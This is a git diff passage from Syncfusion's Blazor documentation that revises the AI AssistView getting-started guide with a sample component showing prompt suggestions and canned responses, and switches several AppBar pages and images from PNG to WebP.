+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
+
+## Add import namespaces
+
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.InteractiveChat` namespaces.
+
+{% tabs %}
+{% highlight C# tabtitle="~/_Imports.razor" %}
+
+@using Syncfusion.Blazor
+@using Syncfusion.Blazor.InteractiveChat
+
+{% endhighlight %}
+{% endtabs %}
+
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
+
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App.
+
+{% tabs %}
+{% highlight C# tabtitle="Program.cs" %}
+
+....
+using Syncfusion.Blazor;
+....
+builder.Services.AddSyncfusionBlazor();
+....
+
+{% endhighlight %}
+{% endtabs %}
+
+## Add stylesheet and script resources
+
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
+
+```html
+
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+....
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
+```
+
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in the Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
+
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor AI AssistView component
+
+Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor AI AssistView component in the **~/Components/Pages/Home.razor** file. If the interactivity location is set to `Per page/component`, define a render mode at the top of the `~Pages/Home.razor` file.Use the [PromptSuggestions](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.InteractiveChat.SfAIAssistView.html#Syncfusion_Blazor_InteractiveChat_SfAIAssistView_PromptSuggestions) property to add prompt suggestions and the [PromptRequested](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.InteractiveChat.SfAIAssistView.html#Syncfusion_Blazor_InteractiveChat_SfAIAssistView_PromptRequested) event to generate responses based on the entered prompts.
+
+N> If the Interactivity Location is set to `Global`, the render mode is automatically configured in the `App.razor` file by default.
+
+{% tabs %}
+{% highlight razor tabtitle="Home.razor" %}
+
+@* desired render mode define here *@
+@rendermode InteractiveServer
+
+@using Syncfusion.Blazor.InteractiveChat
+
+<div class="aiassist-container" style="height: 350px; width: 650px;">
+    <SfAIAssistView PromptSuggestions="@promptSuggestions"
+                    PromptRequested="@PromptRequest">
+    </SfAIAssistView>
+</div>
+
+@code {
+    List<string> promptSuggestions = new List<string>
+    {
+        "How do I prioritize my tasks?",
+        "How can I improve my time management skills?"
+    };
+
+    ```
+    public class AssistModel
+    {
+        public string Prompt { get; set; }
+        public string Response { get; set; }
+    }
+
+    private List<AssistModel> prompts = new List<AssistModel>()
+    {
+        new AssistModel()
+        {
+            Prompt = "How do I prioritize my tasks?",
+            Response = "Prioritize tasks by urgency and impact: tackle high-impact tasks first,     delegate when possible, and break large tasks into smaller steps. For more  assistance, feel free to ask—I’m here to help!"
+        },
+        new AssistModel()
+        {
+            Prompt = "How can I improve my time management skills?",
+            Response = "To improve time management skills, try setting clear goals, using a     planner or digital tools, prioritizing tasks, breaking tasks into smaller steps, and    minimizing distractions. Regularly review and adjust your approach for better  efficiency."
+        }
+    };
+
+    private async Task PromptRequest(AssistViewPromptRequestedEventArgs args)
+    {
+        await Task.Delay(3000);
+
+        var isPromptFound = prompts.Any(prompt => prompt.Prompt == args.Prompt);
+        var promptData = prompts.FirstOrDefault(prompt => prompt.Prompt == args.Prompt);
+
+        var defaultResponse = "For real-time prompt processing, connect the AI AssistView   component to your preferred AI service, such as OpenAI or Azure Cognitive Services.   Ensure you obtain the necessary API credentials to authenticate and enable seamless   integration.";
+
+        args.Response = isPromptFound ? promptData.Response : defaultResponse;
+    }
+```
+
+}
+
+{% endhighlight %}
+{% endtabs %}
+
+To launch the application, press <kbd>Ctrl</kbd>+<kbd>F5</kbd> in Visual Studio, run `dotnet run` from the CLI or integrated terminal in VS Code, or use the Run command in your preferred IDE to render the Syncfusion<sup style="font-size:70%">®</sup> Blazor AI AssistView component in the default web browser.
+
+{% previewsample "(https://blazorplayground.syncfusion.com/embed/BjhTCNsCMKFGRhuU?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5)" backgroundimage "[Blazor AI AssistView default prompt](./images/default-prompt.webp)" %}
+
+> **Note:** Starting from version 33.1x, when a user submits a prompt to the AI AssistView, the component automatically scrolls and focuses on the latest prompt and response. This behavior eliminates the need for users to manually scroll down to see the new response, ensuring they always view the most recent AI response without interruption. Prior to version 33.1x, the previous responses remained visible when new responses were added.
+
+N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/AIAssistView).
diff --git a/blazor/ai-assistview/getting-started.md b/blazor/ai-assistview/getting-started.md
index e99aeb205d..4dfde970a1 100644
--- a/blazor/ai-assistview/getting-started.md
+++ b/blazor/ai-assistview/getting-started.md
@@ -143,7 +143,7 @@ N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/app
 
 ## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor AI AssistView component
 
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor AI AssistView component in the **~/Pages/Index.razor** file.
+Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor AI AssistView component in the **~/Pages/Index.razor** file. Use the [PromptSuggestions](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.InteractiveChat.SfAIAssistView.html#Syncfusion_Blazor_InteractiveChat_SfAIAssistView_PromptSuggestions) property to add prompt suggestions and the [PromptRequested](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.InteractiveChat.SfAIAssistView.html#Syncfusion_Blazor_InteractiveChat_SfAIAssistView_PromptRequested) event to generate responses based on the entered prompts.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -151,56 +151,61 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor AI AssistView co
 @using Syncfusion.Blazor.InteractiveChat
 
 <div class="aiassist-container" style="height: 350px; width: 650px;">
-    <SfAIAssistView></SfAIAssistView>
+    <SfAIAssistView PromptSuggestions="@promptSuggestions"
+                    PromptRequested="@PromptRequest">
+    </SfAIAssistView>
 </div>
 
-{% endhighlight %}
-{% endtabs %}
-
-* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor AI AssistView component in default web browser.
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rZrfCjiMCTRHTGzR?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor AI AssistView Component](./images/ai-assistview-component.webp)" %}
+@code {
+List<string> promptSuggestions = new List<string>
+{
+"How do I prioritize my tasks?",
+"How can I improve my time management skills?"
+};
 
-> **Note:** Starting from version 33.1x, when a user submits a prompt to the AI AssistView, the component automatically scrolls and focuses on the latest prompt and response. This behavior eliminates the need for users to manually scroll down to see the new response, ensuring they always view the most recent AI response without interruption. Prior to version 33.1x, the previous responses remained visible when new responses were added.
+```
+public class AssistModel
+{
+    public string Prompt { get; set; }
+    public string Response { get; set; }
+}
 
-## Configure suggestions and responses
+private List<AssistModel> prompts = new List<AssistModel>()
+{
+    new AssistModel()
+    {
+        Prompt = "How do I prioritize my tasks?",
+        Response = "Prioritize tasks by urgency and impact: tackle high-impact tasks first, delegate when possible, and break large tasks into smaller steps. For more assistance, feel free to ask—I’m here to help!"
+    },
+    new AssistModel()
+    {
+        Prompt = "How can I improve my time management skills?",
+        Response = "To improve time management skills, try setting clear goals, using a planner or digital tools, prioritizing tasks, breaking tasks into smaller steps, and minimizing distractions. Regularly review and adjust your approach for better efficiency."
+    }
+};
 
-You can use the [PromptSuggestions](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.InteractiveChat.SfAIAssistView.html#Syncfusion_Blazor_InteractiveChat_SfAIAssistView_PromptSuggestions) property to add prompt suggestions and the [PromptRequested](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.InteractiveChat.SfAIAssistView.html#Syncfusion_Blazor_InteractiveChat_SfAIAssistView_PromptRequested) event to add responses when the prompt matches the specified prompts data otherwise, the default response will be displayed.
+private async Task PromptRequest(AssistViewPromptRequestedEventArgs args)
+{
+    await Task.Delay(3000);
 
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
+    var isPromptFound = prompts.Any(prompt => prompt.Prompt == args.Prompt);
+    var promptData = prompts.FirstOrDefault(prompt => prompt.Prompt == args.Prompt);
 
-@using Syncfusion.Blazor.InteractiveChat
+    var defaultResponse = "For real-time prompt processing, connect the AI AssistView component to your preferred AI service, such as OpenAI or Azure Cognitive Services. Ensure you obtain the necessary API credentials to authenticate and enable seamless integration.";
 
-<div class="aiassist-container" style="height: 350px; width: 650px;">
-    <SfAIAssistView PromptSuggestions="@promptSuggestions" PromptRequested="@PromptRequest"></SfAIAssistView>
-</div>
+    args.Response = isPromptFound ? promptData.Response : defaultResponse;
+}
+```
 
-@code {
-    List<string> promptSuggestions = new List<string> { "How do I prioritize my tasks?", "How can I improve my time management skills?" };
-    public class AssistModel
-    {
-        public string Prompt { get; set; }
-        public string Response { get; set; }
-    }
-    private List<AssistModel> prompts = new List<AssistModel>()
-    {
-        new AssistModel() { Prompt = "How do I prioritize my tasks?", Response = "Prioritize tasks by urgency and impact: tackle high-impact tasks first, delegate when possible, and break large tasks into smaller steps. For more assistance, feel free to ask—I’m here to help!" },
-        new AssistModel() { Prompt = "How can I improve my time management skills?", Response = "To improve time management skills, try setting clear goals, using a planner or digital tools, prioritizing tasks, breaking tasks into smaller steps, and minimizing distractions. Regularly review and adjust your approach for better efficiency" }
-    };
-    private async Task PromptRequest(AssistViewPromptRequestedEventArgs args)
-    {
-        await Task.Delay(3000);
-        var isPromptFound = prompts.Any(prompt => prompt.Prompt == args.Prompt);
-        var promptData = prompts.FirstOrDefault(prompt => prompt.Prompt == args.Prompt);
-        var defaultResponse = "For real-time prompt processing, connect the AI AssistView component to your preferred AI service, such as OpenAI or Azure Cognitive Services. Ensure you obtain the necessary API credentials to authenticate and enable seamless integration.";
-        args.Response = isPromptFound ? promptData.Response : defaultResponse;
-    }
 }
 
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BjhTCNsCMKFGRhuU?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor AI AssistView default prompt](./images/default-prompt.webp)" %}
+To launch the application, press <kbd>Ctrl</kbd>+<kbd>F5</kbd> in Visual Studio, run `dotnet run` from the CLI or integrated terminal in VS Code, or use the Run command in your preferred IDE to render the Syncfusion<sup style="font-size:70%">®</sup> Blazor AI AssistView component in the default web browser.
+
+{% previewsample "(https://blazorplayground.syncfusion.com/embed/BjhTCNsCMKFGRhuU?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5)" backgroundimage "[Blazor AI AssistView default prompt](./images/default-prompt.webp)" %}
+
+> **Note:** Starting from version 33.1x, when a user submits a prompt to the AI AssistView, the component automatically scrolls and focuses on the latest prompt and response. This behavior eliminates the need for users to manually scroll down to see the new response, ensuring they always view the most recent AI response without interruption. Prior to version 33.1x, the previous responses remained visible when new responses were added.
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/AIAssistView).
diff --git a/blazor/appbar/design.md b/blazor/appbar/design.md
index 18a3f1f828..3b0be59b9b 100644
--- a/blazor/appbar/design.md
+++ b/blazor/appbar/design.md
@@ -30,7 +30,7 @@ The following example depicts the code to provide spacing between the home and p
 </div>
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/htLKWVizhrJGeHZk?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor AppBar with Spacer.](./images/blazor-appbar-spacer.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/htLKWVizhrJGeHZk?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor AppBar with Spacer.](./images/blazor-appbar-spacer.webp)" %}
 
 ## Separator
 
@@ -65,7 +65,7 @@ The following example depicts the code to provide a vertical line between a grou
     }
 </style>
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BZrUWhizrrSDjGWv?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor AppBar with Separator.](./images/blazor-appbar-separator.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BZrUWhizrrSDjGWv?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor AppBar with Separator.](./images/blazor-appbar-separator.webp)" %}
 
 ## Media Query
 
@@ -111,7 +111,7 @@ Media Query is used to adjusting the AppBar for different screen sizes. Resize t
 </style>
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hDVUWBsJrBofaJVB?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor AppBar with Media Query.](./images/blazor-appbar-media-quary.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hDVUWBsJrBofaJVB?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor AppBar with Media Query.](./images/blazor-appbar-media-quary.webp)" %}
 ## Designing AppBar with Menu
 
 **SfMenu** component can be rendered as a child content of AppBar. You can inherit the AppBar component styles by setting CSS class as `e-inherit` to SfMenu component.
@@ -169,7 +169,7 @@ Media Query is used to adjusting the AppBar for different screen sizes. Resize t
 </style>
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BXrgCrsfhVRDMsdT?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor AppBar with Menu.](./images/blazor-appbar-menu.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BXrgCrsfhVRDMsdT?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor AppBar with Menu.](./images/blazor-appbar-menu.webp)" %}
 
 ## Designing AppBar with Buttons
 
@@ -204,7 +204,7 @@ Media Query is used to adjusting the AppBar for different screen sizes. Resize t
 </style>
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VDVgMBMTLrdehyCb?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor AppBar with Buttons.](./images/blazor-appbar-buttons.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VDVgMBMTLrdehyCb?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor AppBar with Buttons.](./images/blazor-appbar-buttons.webp)" %}
 
 ## Designing AppBar with SideBar
 
@@ -364,4 +364,4 @@ AppBar toggle button used to control the expand and collapse state of **SfSideba
     }
 </style>
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hDVKirMTrrRbKrNE?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor AppBar with SideBar.](./images/blazor-appbar-sidebar.png)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hDVKirMTrrRbKrNE?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor AppBar with SideBar.](./images/blazor-appbar-sidebar.webp)" %}
\ No newline at end of file
diff --git a/blazor/appbar/images/Blazor-server-app-creation.png b/blazor/appbar/images/Blazor-server-app-creation.png
deleted file mode 100644
index 02e4a025bf..0000000000
Binary files a/blazor/appbar/images/Blazor-server-app-creation.png and /dev/null differ
diff --git a/blazor/appbar/images/Blazor-server-app-creation.webp b/blazor/appbar/images/Blazor-server-app-creation.webp
new file mode 100644
index 0000000000..0d820ce3eb
Binary files /dev/null and b/blazor/appbar/images/Blazor-server-app-creation.webp differ
diff --git a/blazor/appbar/images/blazor-app-interactive-mode.png b/blazor/appbar/images/blazor-app-interactive-mode.png
deleted file mode 100644
index 9edcc0e351..0000000000
Binary files a/blazor/appbar/images/blazor-app-interactive-mode.png and /dev/null differ
diff --git a/blazor/appbar/images/blazor-app-interactive-mode.webp b/blazor/appbar/images/blazor-app-interactive-mode.webp
new file mode 100644
index 0000000000..44f2080745
Binary files /dev/null and b/blazor/appbar/images/blazor-app-interactive-mode.webp differ
diff --git a/blazor/appbar/images/blazor-appbar-buttons.png b/blazor/appbar/images/blazor-appbar-buttons.png
deleted file mode 100644
index e48ea873fa..0000000000
Binary files a/blazor/appbar/images/blazor-appbar-buttons.png and /dev/null differ
diff --git a/blazor/appbar/images/blazor-appbar-buttons.webp b/blazor/appbar/images/blazor-appbar-buttons.webp
new file mode 100644
index 0000000000..c71f854779
Binary files /dev/null and b/blazor/appbar/images/blazor-appbar-buttons.webp differ
diff --git a/blazor/appbar/images/blazor-appbar-media-quary.png b/blazor/appbar/images/blazor-appbar-media-quary.png
deleted file mode 100644
index 6426293bad..0000000000
Binary files a/blazor/appbar/images/blazor-appbar-media-quary.png and /dev/null differ
diff --git a/blazor/appbar/images/blazor-appbar-media-quary.webp b/blazor/appbar/images/blazor-appbar-media-quary.webp
new file mode 100644
index 0000000000..9a0481e289
Binary files /dev/null and b/blazor/appbar/images/blazor-appbar-media-quary.webp differ
diff --git a/blazor/appbar/images/blazor-appbar-menu.png b/blazor/appbar/images/blazor-appbar-menu.png
deleted file mode 100644
index fd036d6732..0000000000
Binary files a/blazor/appbar/images/blazor-appbar-menu.png and /dev/null differ
diff --git a/blazor/appbar/images/blazor-appbar-menu.webp b/blazor/appbar/images/blazor-appbar-menu.webp
new file mode 100644
index 0000000000..6dbb2670df
Binary files /dev/null and b/blazor/appbar/images/blazor-appbar-menu.webp differ
diff --git a/blazor/appbar/images/blazor-appbar-separator.png b/blazor/appbar/images/blazor-appbar-separator.png
deleted file mode 100644
index a591ccdcce..0000000000
Binary files a/blazor/appbar/images/blazor-appbar-separator.png and /dev/null differ
diff --git a/blazor/appbar/images/blazor-appbar-separator.webp b/blazor/appbar/images/blazor-appbar-separator.webp
new file mode 100644
index 0000000000..7ecccec0e3
Binary files /dev/null and b/blazor/appbar/images/blazor-appbar-separator.webp differ
diff --git a/blazor/appbar/images/blazor-appbar-sidebar.png b/blazor/appbar/images/blazor-appbar-sidebar.png
deleted file mode 100644
index 9961738ebd..0000000000
Binary files a/blazor/appbar/images/blazor-appbar-sidebar.png and /dev/null differ
diff --git a/blazor/appbar/images/blazor-appbar-sidebar.webp b/blazor/appbar/images/blazor-appbar-sidebar.webp
new file mode 100644
index 0000000000..fb54238594
Binary files /dev/null and b/blazor/appbar/images/blazor-appbar-sidebar.webp differ
diff --git a/blazor/appbar/images/blazor-appbar-spacer.png b/blazor/appbar/images/blazor-appbar-spacer.png
deleted file mode 100644
index fbd17cbea8..0000000000
Binary files a/blazor/appbar/images/blazor-appbar-spacer.png and /dev/null differ
diff --git a/blazor/appbar/images/blazor-appbar-spacer.webp b/blazor/appbar/images/blazor-appbar-spacer.webp
new file mode 100644
index 0000000000..868e2c8c4d
Binary files /dev/null and b/blazor/appbar/images/blazor-appbar-spacer.webp differ
diff --git a/blazor/appbar/images/blazor-create-web-app.png b/blazor/appbar/images/blazor-create-web-app.png
deleted file mode 100644
index 7dd6e612d2..0000000000
Binary files a/blazor/appbar/images/blazor-create-web-app.png and /dev/null differ
diff --git a/blazor/appbar/images/blazor-create-web-app.webp b/blazor/appbar/images/blazor-create-web-app.webp
new file mode 100644
index 0000000000..199356f771
Binary files /dev/null and b/blazor/appbar/images/blazor-create-web-app.webp differ
diff --git a/blazor/appbar/images/blazor-wasm-app-template.png b/blazor/appbar/images/blazor-wasm-app-template.png
deleted file mode 100644
index 8cf1737d81..0000000000
Binary files a/blazor/appbar/images/blazor-wasm-app-template.png and /dev/null differ
diff --git a/blazor/appbar/images/blazor-wasm-app-template.webp b/blazor/appbar/images/blazor-wasm-app-template.webp
new file mode 100644
index 0000000000..6824d1db62
Binary files /dev/null and b/blazor/appbar/images/blazor-wasm-app-template.webp differ
diff --git a/blazor/appbar/images/bottom_appbar.webp b/blazor/appbar/images/bottom_appbar.webp
new file mode 100644
index 0000000000..c71f854779
Binary files /dev/null and b/blazor/appbar/images/bottom_appbar.webp differ
diff --git a/blazor/appbar/images/buttons_appbar.png b/blazor/appbar/images/buttons_appbar.png
deleted file mode 100644
index d0f9d28257..0000000000
Binary files a/blazor/appbar/images/buttons_appbar.png and /dev/null differ
diff --git a/blazor/appbar/images/buttons_appbar.webp b/blazor/appbar/images/buttons_appbar.webp
new file mode 100644
index 0000000000..d92040df30
Binary files /dev/null and b/blazor/appbar/images/buttons_appbar.webp differ
diff --git a/blazor/appbar/images/cssclass_appbar.png b/blazor/appbar/images/cssclass_appbar.png
deleted file mode 100644
index b1a27fa515..0000000000
Binary files a/blazor/appbar/images/cssclass_appbar.png and /dev/null differ
diff --git a/blazor/appbar/images/cssclass_appbar.webp b/blazor/appbar/images/cssclass_appbar.webp
new file mode 100644
index 0000000000..ed6d61cf30
Binary files /dev/null and b/blazor/appbar/images/cssclass_appbar.webp differ
diff --git a/blazor/appbar/images/dark_appbar.png b/blazor/appbar/images/dark_appbar.png
deleted file mode 100644
index 954b72ca2d..0000000000
Binary files a/blazor/appbar/images/dark_appbar.png and /dev/null differ
diff --git a/blazor/appbar/images/dark_appbar.webp b/blazor/appbar/images/dark_appbar.webp
new file mode 100644
index 0000000000..4f014c5887
Binary files /dev/null and b/blazor/appbar/images/dark_appbar.webp differ
diff --git a/blazor/appbar/images/dense_appbar.png b/blazor/appbar/images/dense_appbar.png
deleted file mode 100644
index 0a8900ebb2..0000000000
Binary files a/blazor/appbar/images/dense_appbar.png and /dev/null differ
diff --git a/blazor/appbar/images/dense_appbar.webp b/blazor/appbar/images/dense_appbar.webp
new file mode 100644
index 0000000000..31882dfabc
Binary files /dev/null and b/blazor/appbar/images/dense_appbar.webp differ
diff --git a/blazor/appbar/images/getting_started.png b/blazor/appbar/images/getting_started.png
deleted file mode 100644
index cdf0707f7c..0000000000
Binary files a/blazor/appbar/images/getting_started.png and /dev/null differ
diff --git a/blazor/appbar/images/getting_started.webp b/blazor/appbar/images/getting_started.webp
new file mode 100644
index 0000000000..287b3f8d99
Binary files /dev/null and b/blazor/appbar/images/getting_started.webp differ
diff --git a/blazor/appbar/images/inherit_appbar.png b/blazor/appbar/images/inherit_appbar.png
deleted file mode 100644
index db79f53403..0000000000
Binary files a/blazor/appbar/images/inherit_appbar.png and /dev/null differ
diff --git a/blazor/appbar/images/inherit_appbar.webp b/blazor/appbar/images/inherit_appbar.webp
new file mode 100644
index 0000000000..65c794a445
Binary files /dev/null and b/blazor/appbar/images/inherit_appbar.webp differ
diff --git a/blazor/appbar/images/light_appbar.png b/blazor/appbar/images/light_appbar.png
deleted file mode 100644
index 2c35e62bf5..0000000000
Binary files a/blazor/appbar/images/light_appbar.png and /dev/null differ
diff --git a/blazor/appbar/images/light_appbar.webp b/blazor/appbar/images/light_appbar.webp
new file mode 100644
index 0000000000..2b16ed3731
Binary files /dev/null and b/blazor/appbar/images/light_appbar.webp differ
diff --git a/blazor/appbar/images/primary_appbar.png b/blazor/appbar/images/primary_appbar.png
deleted file mode 100644
index 0690315a3a..0000000000
Binary files a/blazor/appbar/images/primary_appbar.png and /dev/null differ
diff --git a/blazor/appbar/images/primary_appbar.webp b/blazor/appbar/images/primary_appbar.webp
new file mode 100644
index 0000000000..fc408a025d
Binary files /dev/null and b/blazor/appbar/images/primary_appbar.webp differ
diff --git a/blazor/appbar/images/prominent_appbar.png b/blazor/appbar/images/prominent_appbar.png
deleted file mode 100644
index 812e064d94..0000000000
Binary files a/blazor/appbar/images/prominent_appbar.png and /dev/null differ
diff --git a/blazor/appbar/images/prominent_appbar.webp b/blazor/appbar/images/prominent_appbar.webp
new file mode 100644
index 0000000000..f6f810d5e1
Binary files /dev/null and b/blazor/appbar/images/prominent_appbar.webp differ
diff --git a/blazor/appbar/images/regular_appbar.png b/blazor/appbar/images/regular_appbar.png
deleted file mode 100644
index aff27c1d57..0000000000
Binary files a/blazor/appbar/images/regular_appbar.png and /dev/null differ
diff --git a/blazor/appbar/images/regular_appbar.webp b/blazor/appbar/images/regular_appbar.webp
new file mode 100644
index 0000000000..6d459af97b
Binary files /dev/null and b/blazor/appbar/images/regular_appbar.webp differ
diff --git a/blazor/appbar/images/sticky_appbar.png b/blazor/appbar/images/sticky_appbar.png
deleted file mode 100644
index cfe46e9273..0000000000
Binary files a/blazor/appbar/images/sticky_appbar.png and /dev/null differ
diff --git a/blazor/appbar/images/sticky_appbar.webp b/blazor/appbar/images/sticky_appbar.webp
new file mode 100644
index 0000000000..711b1fc1d5
Binary files /dev/null and b/blazor/appbar/images/sticky_appbar.webp differ
diff --git a/blazor/appbar/images/top_appbar.png b/blazor/appbar/images/top_appbar.png
deleted file mode 100644
index 3277f81821..0000000000
Binary files a/blazor/appbar/images/top_appbar.png and /dev/null differ
diff --git a/blazor/appbar/images/top_appbar.webp b/blazor/appbar/images/top_appbar.webp
new file mode 100644
index 0000000000..b4c51f64dd
Binary files /dev/null and b/blazor/appbar/images/top_appbar.webp differ
diff --git a/blazor/appbar/position.md b/blazor/appbar/position.md
index 9c41588da4..13e7ccb22a 100644
--- a/blazor/appbar/position.md
+++ b/blazor/appbar/position.md
@@ -58,7 +58,7 @@ The top AppBar is the default one in which it positions the AppBar at the top of
 </style>
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LNVAsrWpLhLkmLRh?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor AppBar with Top Position](./images/top_appbar.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LNVAsrWpLhLkmLRh?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor AppBar with Top Position](./images/top_appbar.webp)" %}
 
 ### Bottom AppBar
 
@@ -103,7 +103,7 @@ This position can be set to the AppBar by setting `AppBarPosition.Bottom` to the
 </style>
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/htBAMLMfLVArWgxb?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor AppBar with Bottom Position](./images/bottom_appbar.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/htBAMLMfLVArWgxb?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor AppBar with Bottom Position](./images/bottom_appbar.webp)" %}
 
 ### Sticky AppBar
 
@@ -148,4 +148,4 @@ This position can be set to the AppBar by setting `true` to the property [IsStic
 </style>
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BXLKWVWzrBKSTUvH?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor AppBar with Sticky Position](./images/sticky_appbar.png)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BXLKWVWzrBKSTUvH?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor AppBar with Sticky Position](./images/sticky_appbar.webp)" %}
\ No newline at end of file
diff --git a/blazor/appbar/size-and-color.md b/blazor/appbar/size-and-color.md
index e8e460ba0b..b7cde81c2c 100644
--- a/blazor/appbar/size-and-color.md
+++ b/blazor/appbar/size-and-color.md
@@ -41,7 +41,7 @@ This mode is the default one in which the AppBar is displayed with the default h
 </style>
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LtBAiVWfLtaWPHyq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor AppBar with Regular Size](./images/regular_appbar.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LtBAiVWfLtaWPHyq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor AppBar with Regular Size](./images/regular_appbar.webp)" %}
 
 ### Prominent AppBar
 
@@ -91,7 +91,7 @@ This height mode can be set to the AppBar by setting `AppBarMode.Prominent` to t
 </style>
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rjLUChipVCDBzbVE?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor AppBar with Prominent Size](./images/prominent_appbar.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rjLUChipVCDBzbVE?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor AppBar with Prominent Size](./images/prominent_appbar.webp)" %}
 
 ### Dense AppBar
 
@@ -117,7 +117,7 @@ This height mode can be set to the AppBar by setting `AppBarMode.Dense` to the p
 </style>
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VthKirWTrCLzRlMA?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor AppBar with Dense Size](./images/dense_appbar.png)" %}
